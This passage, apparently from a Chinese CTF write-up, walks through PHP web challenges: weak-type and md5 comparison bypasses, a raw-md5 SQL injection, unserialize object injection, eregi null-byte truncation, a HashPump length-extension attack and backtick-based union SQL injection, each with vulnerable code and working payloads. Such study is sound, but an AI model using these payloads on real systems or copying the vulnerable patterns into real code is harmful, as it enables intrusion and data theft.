$number = '3735929054';
// Check all the input characters!
for ($i = 0; $i < strlen($number); $i++)
{
// Disallow all the digits!
$digit = ord($temp{$i});
if ( ($digit >= $one) && ($digit <= $nine) )
{
// Aha, digit not allowed!
return "flase";
}
}
if($number == $temp)
return $flag;
}
$temp = $_GET['password'];
echo noother_says_correct($temp);
?>
条件
1、if ( ($digit >= $one) && ($digit <= $nine) )为false
2、if($number == $temp)
简单的读一下这个自定义函数的话就会发现它这里其实是不让输入数字,但是结果又需要password与这串数字3735929054
相等,此时就想到进制转换,里面有9,肯定不是八进制,因此此时考虑十六进制,转换一下看看
<?php
echo dechex(3735929054);//进行十六进制转换
?>
得到deadc0de,那我们如果用十六进制的它与十进制的它作比较,两者肯定是相同的,因此我们构造payload如下
password=0xdeadc0de
数字验证正则绕过
<?php
show_source(__FILE__);
error_reporting(0);
$flag = 'flag{test}';
if ("POST" == $_SERVER['REQUEST_METHOD'])
{
$password = $_POST['password'];
if (0 >= preg_match('/^[[:graph:]]{12,}$/', $password)) //preg_match — 执行一个正则表达式匹配
{
echo 'Wrong Format';
exit;
}
while (TRUE)
{
$reg = '/([[:punct:]]+|[[:digit:]]+|[[:upper:]]+|[[:lower:]]+)/';
if (6 > preg_match_all($reg, $password, $arr))
break;
$c = 0;
$ps = array('punct', 'digit', 'upper', 'lower'); //[[:punct:]] 任何标点符号 [[:digit:]] 任何数字 [[:upper:]] 任何大写字母 [[:lower:]] 任何小写字母
foreach ($ps as $pt)
{
if (preg_match("/[[:$pt:]]+/", $password))
$c += 1;
}
if ($c < 3) break;
//>=3,必须包含四种类型三种与三种以上
if ("42" == $password) echo $flag;
else echo 'Wrong password';
exit;
}
}
?>
关注点
1、 if (0 >= preg_match('/^[[:graph:]]{12,}$/', $password))
2、 $reg = '/([[:punct:]]+|[[:digit:]]+|[[:upper:]]+|[[:lower:]]+)/';
if (6 > preg_match_all($reg, $password, $arr))
3、 if ($c < 3) break;
4、 if ("42" == $password) echo $flag;
第一个:至少匹配13次才能使得if语句为false,此时语句才能继续往下运行,因此也就是说password长度要大于12位
第二个:password中匹配到的标点符号,大小写字母和数字要大于六次
第三个:if ($c < 3)
表示包含至少要有三种类型,即大写字母、小写字母、标点符号等等中至少要有三种类型
第四个:password要等于42才能输出结果
结合第三个和第四个,此时我们想到小数点后用科学计数法来表示password,构造payload如下
password=42.000000000e-0
弱类型整数大小比较绕过
<?php
show_source(__FILE__);
error_reporting(0);
$flag = "flag{test}";
$temp = $_GET['password'];
is_numeric($temp)?die("no numeric"):NULL;
if($temp>1336){
echo $flag;
}
?>
这里的话要求不能是纯数字而且要求数字大于1336,这里就需要说一个小trick了,当字符型和整数相比较时,会经过intval函数处理,所以这里我们可以用后面加字母来进行绕过
password=1337a
当然,也可以用%00截断,此时也是不仅仅有数字的
password=1337%00
还有数组方式我也发现可以绕过,payload如下
password[]=1
这里的话数组不是数字,前面肯定满足,后面的这个if($temp>1336)
是怎么比较的呢,当数组和数字进行比较时,数组是一定大于数字的(PHP内部规定),具体可以参考这篇文章
https://www.cnblogs.com/F4NNIU/p/13571893.html
md5函数验证绕过
<?php
show_source(__FILE__);
error_reporting(0);
$flag = 'flag{test}';
$temp = $_GET['password'];
if(md5($temp)==0){
echo $flag;
}
?>
弱比较类型,让其加密后为0exxx这种格式即可,或者用数组来绕过构造payload如下
password[]=1
password=s155964671a
md5函数true绕过注入
<?php
show_source(__FILE__);
error_reporting(0);
$link = mysql_connect('localhost', 'root', 'root');
if (!$link) {
die('Could not connect to MySQL: ' . mysql_error());
}
// 选择数据库
$db = mysql_select_db("security", $link);
if(!$db)
{
echo 'select db error';
exit();
}
// 执行sql
$password = $_GET['password'];
$sql = "SELECT * FROM users WHERE password = '".md5($password,true)."'";
var_dump($sql);
$result=mysql_query($sql) or die('<pre>' . mysql_error() . '</pre>' );
$row1 = mysql_fetch_row($result);
var_dump($row1);
mysql_close($link);
?>
这里重点关注的就是SQL语句
$sql = "SELECT * FROM users WHERE password = '".md5($password,true)."'";
md5函数中第二个参数为true,那么 MD5 报文摘要将以16字节长度的原始二进制格式返回。
可以看出它是单引号闭合,如果我们生成的md5能是' or xxx
这种,就可以构成万能密码,此时就会得到全部数据,经过查找,md5加密后能生成这种字符串的为ffifdyop
,它加密后为276f722736c95d99e921722cf9ed621c
,而后经十六进制转换字符串为'or'6<trash>
因此这里我们就可以构造如下payload来绕过
password=ffifdyop
switch没有break 字符与0比较绕过
<?php
show_source(__FILE__);
error_reporting(0);
if (isset($_GET['which']))
{
$which = $_GET['which'];
switch ($which)
{
case 0:
case 1:
case 2:
require_once $which.'.php';
echo $flag;
break;
default:
echo GWF_HTML::error('PHP-0817', 'Hacker NoNoNo!', false);
break;
}
}
?>
小知识科普,当字符串转换成常量时,会经过intval函数转换,我们可以自行测试一下
<?php
show_source(__FILE__);
echo intval('flag');
?>
那么这里的话就会执行case 0对应的语句,我们此时来看一下这个case语句
case 0:
case 1:
case 2:
require_once $which.'.php';
echo $flag;
break;
因为没有break,所以会接着执行case 1,又没有break,此时就会执行case 2,此时就包含了flag.php,输出了它的flag,因此我们构造payload如下即可
which=flag
unserialize()序列化
<!-- 题目:http://web.jarvisoj.com:32768 -->
<!-- index.php -->
<?php
show_source(__FILE__);
require_once('shield.php');
$x = new Shield();
isset($_GET['class']) && $g = $_GET['class'];
if (!empty($g)) {
$x = unserialize($g);
}
echo $x->readfile();
?>
<img src="showimg.php?img=c2hpZWxkLmpwZw==" width="100%"/>
<!-- shield.php -->
<?php
//flag is in pctf.php
class Shield {
public $file;
function __construct($filename = '') {
$this -> file = $filename;
}
function readfile() {
if (!empty($this->file) && stripos($this->file,'..')===FALSE
&& stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {
return @file_get_contents($this->file);
}
}
}
?>
<!-- showimg.php -->
<?php
$f = $_GET['img'];
if (!empty($f)) {
$f = base64_decode($f);
if (stripos($f,'..')===FALSE && stripos($f,'/')===FALSE && stripos($f,'\\')===FALSE
//stripos — 查找字符串首次出现的位置(不区分大小写)
&& stripos($f,'pctf')===FALSE) {
readfile($f);
} else {
echo "File not found!";
}
}
?>
showing.php中不允许传pctf
,因此我们这里需要找其他点,我们发现开头的$x = new Shield();
,此时的$x中的filename是空的,如果把他修改为pctf.php
,后面再进行echo的时候不就可以成功读这个flag文件了吗,因此构造脚本如下
<?php
show_source(__FILE__);
require_once('shield.php');
$x = new Shield();
$g= serialize($x);
echo $g;
?>
<img src="showimg.php?img=c2hpZWxkLmpwZw==" width="100%"/>
<!-- shield.php -->
<?php
//flag is in pctf.php
class Shield {
public $file;
function __construct($filename = 'pctf.php') {
$this -> file = $filename;
}
function readfile() {
if (!empty($this->file) && stripos($this->file,'..')===FALSE
&& stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {
return @file_get_contents($this->file);
}
}
}
?>
得到
O:6:"Shield":1:{s:4:"file";s:8:"pctf.php";}
赋值给class即可,最终payload如下
class=O:6:"Shield":1:{s:4:"file";s:8:"pctf.php";}
eregi函数漏洞
<?php
if(!$_GET['id']) {
header('Location:
index.php?id=1');
exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.'))
echo 'Hahahahahaha';
return ;
}
$data = @file_get_contents($a,'r');
if($data=="1112 is a nice lab!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4) {
require("flag.txt");
} else {
print "work harder!harder!harder!";
}
?>
条件
1、$data=="1112 is a nice lab!"
2、 $id==0
3、strlen($b)>5
4、eregi("111".substr($b,0,1),"1114")
5、 substr($b,0,1)!=4
第一个,data来源于变量a,因此我们这里赋值a=1112 is a nice lab!
即可实现
第二个,id参数来源于变量id,我们这里同理给它赋值id=0
即可
第三个,长度大于5,接着看b的条件
第四个,截取b参数的第一位,同时将114和b的第一位进行拼接,在1114中
第五个,要求b参数的第一位不能是4
四五看起来是矛盾的,但查阅相关资料后,发现eregi函数存在空字符截断漏洞,即参数中的正则表达式或待匹配字符串遇到空字符则截断丢弃后面的数据。
简单的说就是当遇见%00后,后面的不再看了
这里当我们给b赋值为%001
的时候,它就会拼接这个%00,但函数处理时,会自动处理掉空格,同时后面的1不看,此时的它也就还是111
,因为111是在1114中的,所以此时就可以绕过,不过我们还需要注意一下第三个条件,要求长度大于5,因此我们这里后面多添几个数字就可以,构造最终payload如下
a=1112 is a nice lab!&b=%0012345&id=0
哈希长度扩展攻击
<!DOCTYPE html>
<html>
<head>
<title>Web 350</title>
<style type="text/css">
body {
background:gray;
text-align:center;
}
</style>
</head>
<body>
<?php
$auth = false;
$role = "guest";
$salt =
if (isset($_COOKIE["role"])) {
$role = unserialize($_COOKIE["role"]);
$hsh = $_COOKIE["hsh"];
if ($role==="admin" && $hsh === md5($salt.strrev($_COOKIE["role"])))
// strrev返回 string 反转后的字符串。
{
$auth = true;
} else {
$auth = false;
}
} else {
$s = serialize($role);
setcookie('role',$s);
$hsh = md5($salt.strrev($s));
setcookie('hsh',$hsh);
}
if ($auth) {
echo "<h3>Welcome Admin. Your flag is
} else {
echo "<h3>Only Admin can see the flag!!</h3>";
}
?>
</body>
原题环境
http://web.jarvisoj.com:32778/
这里的话看一下条件
if (isset($_COOKIE["role"])) {
$role = unserialize($_COOKIE["role"]);
$hsh = $_COOKIE["hsh"];
if ($role==="admin" && $hsh === md5($salt.strrev($_COOKIE["role"])))
这些条件满足才能使得变量auth为true,才会输出flag,此时看最重要的一个语句
$role==="admin" && $hsh === md5($salt.strrev($_COOKIE["role"])))
先看后面
左边是我们通过cookie传入的$hsh
右边是我们通过cookie传入的role经过反转和盐值拼接再经md5加密的结果,这个值需要与$hsh
相等
这个看起来是不可能实现的,我们不知道这个盐值的值,虽然hsh和role都可控,但想实现结果与hsh相等仍是十分困难的
但是如MD5,SHA1,
SHA2等,都是基于Merkle–Damgård结构,而这类算法的问题在于:如果你知道加密前的原文,和加密后的密文,只需要再知道盐值的长度,就能在原文后面添加信息并计算出相应的密文。
盐值在前,原文在后,可以用hash长度扩展攻击。
预测得到的是:
md5(盐+原文+填充+恶意扩充)
哈希长度扩展攻击我们通常使用HashPump进行利用
HashPump是一个借助于OpenSSL实现了针对多种散列函数的攻击的工具,支持针对MD5、CRC32、SHA1、SHA256和SHA512等长度扩展攻击。而MD2、SHA224和SHA384算法不受此攻击的影响,因其部分避免了对状态变量的输出,并不输出全部的状态变量。
安装过程如下
git clone https://github.com/bwall/HashPump
apt-get install g++ libssl-dev
cd HashPump
make
make install
这里的话我们抓包看一下初始的hsh和role的值
role的值为s:5:"guest";
,hah的值为3a4727d57463f122833d9e732f94e4e0
这里还利用到反序列化的一个特点,就是用unserialize函数时,后面的内容会被忽略,不进行反序列化,示例如下
<?php
$s = 's:5:"admin"; s:5:"guest";';
echo unserialize($s);
?>
这个就是攻击关键
具体内容如下
root@VM-12-12-ubuntu:/tmp/HashPump# hashpump
Input Signature: 3a4727d57463f122833d9e732f94e4e0
Input Data: ;"tseug":5:s
Input Key Length: 12
Input Data to Add: ^C
root@VM-12-12-ubuntu:/tmp/HashPump# hashpump
Input Signature: 3a4727d57463f122833d9e732f94e4e0
Input Data: ;"tseug":5:s
Input Key Length: 12
Input Data to Add: ;"nimda":5:s
fcdc3840332555511c4e4323f6decb07
;"tseug":5:s\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xc0\x00\x00\x00\x00\x00\x00\x00;"nimda":5:s
长度12是测试出来的,可以得到数据后进行逆序反转,同时将\x00换成%00发包,看结果是否回显flag进行测试
最终payload
role=s:5:"admin"%3b%00%00%00%00%00%00%00%c0%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%80s:5:"guest"%3b;hsh=fcdc3840332555511c4e4323f6decb07
desc与反引号引发的SQL注入
<?php
show_source(__FILE__);
require("config.php");
$table = $_GET['table']?$_GET['table']:"test";
$table = Filter($table);
mysqli_query($mysqli,"desc `secret_{$table}`") or Hacker();
$sql = "select 'flag{xxx}' from secret_{$table}";
$ret = sql_query($sql);
echo $ret[0];
?>
原题环境如下
http://web.jarvisoj.com:32794/
简单看一下代码,get传值table,然后有过滤,接下来就是desc这个语句,而后查询SQL语句,取出结果。
常见的desc是用来查表的结构的,其使用方法是desc+表名,本地测试如下
mysql> desc users;
+----------+-------------+------+-----+---------+----------------+
| Field | Type | Null | Key | Default | Extra |
+----------+-------------+------+-----+---------+----------------+
| id | int(3) | NO | PRI | NULL | auto_increment |
| username | varchar(20) | NO | | NULL | |
| password | varchar(20) | NO | | NULL | |
+----------+-------------+------+-----+---------+----------------+
3 rows in set (0.01 sec)
当desc和反引号结合使用时
desc users xxx; // 返回空
desc `users` `xxx`; //返回空
desc 'users' 'xxx'; //报错
此时我们的语句就可以针对
mysqli_query($mysqli,"desc `secret_{$table}`") or Hacker();
进行绕过,我们构造table为test``xxx
,此时结果为
没有执行hacker()函数,说明成功绕过,此时我们再利用这个方式来进行联合查询即可
查库
table=test` `union select database() limit 1,1
查表
table=test` `union select group_concat(distinct table_name) from
information_schema.columns where table_schema=database() limit 1,1
查列
table=test` `union select group_concat(distinct column_name) from information_schema.columns where table_name=0x7365637265745f666c6167 limit 1,1
查字段
table=test` `union select group_concat(flagUwillNeverKnow) from secret_flag limit 1,1
利用提交数组绕过逻辑
<?php
show_source(__FILE__);
$role = "guest";
$flag = "flag{test_flag}";
$auth = false;
if(isset($_COOKIE["role"])){
$role = unserialize(base64_decode($_COOKIE["role"]));
if($role === "admin"){
$auth = true;
}
else{
$auth = false;
}
}
else{
$role = base64_encode(serialize($role));
setcookie('role',$role);
}
if($auth){
if(isset($_POST['filename'])){
$filename = $_POST['filename'];
$data = $_POST['data'];
if(preg_match('[<>?]', $data)) {
die('No No No!'.$data);
}
else {
$s = implode($data);
if(!preg_match('[<>?]', $s)){
$flag='None.';
}
$rand = rand(1,10000000);
$tmp="./uploads/".md5(time() + $rand).$filename;
file_put_contents($tmp, $flag);
echo "your file is in " . $tmp;
}
}
else{
echo "Hello admin, now you can upload something you are easy to forget.";
echo "<br />there are the source.<br />";
echo '<textarea rows="10" cols="100">';
echo htmlspecialchars(str_replace($flag,'flag{???}',file_get_contents(__FILE__)));
echo '</textarea>';
}
}
else{
echo "Sorry. You have no permissions.";
}
?>
两个点,第一个的话是让auth为真,这个的话需要满足条件$role === "admin"
,这个的话我们可以看role的传值方式是unserialize(base64_decode($_COOKIE["role"]));
,反着操作一下就好了,构造脚本如下
<?php
$a='admin';
echo base64_encode(serialize($a));
?>
得到czo1OiJhZG1pbiI7
,此时我们赋值给role就可以实现auth为true,此时再来看第二个点
上传文件名和文件内容,但data不能含有<>?
,而implode
函数包裹后的data却又需要有<>?
,此时才能够得到flag,对这个函数的简单介绍如下
implode()函数返回由数组元素组合成的字符串
这里同之前相似,它处理的是字符串,当换成数组时就会输出Null,此时就绕过了
此时就可以构造payload如下
filename=quan9i&data[]=<>?
查看即可获取flag
参考文献
https://www.cnblogs.com/Cl0ud/p/13380114.html
https://www.cnblogs.com/pcat/p/5478509.html
https://saucer-man.com/information_security/101.html
https://www.cnblogs.com/Cl0ud/p/13393754.html
https://github.com/bowu678/php_bugs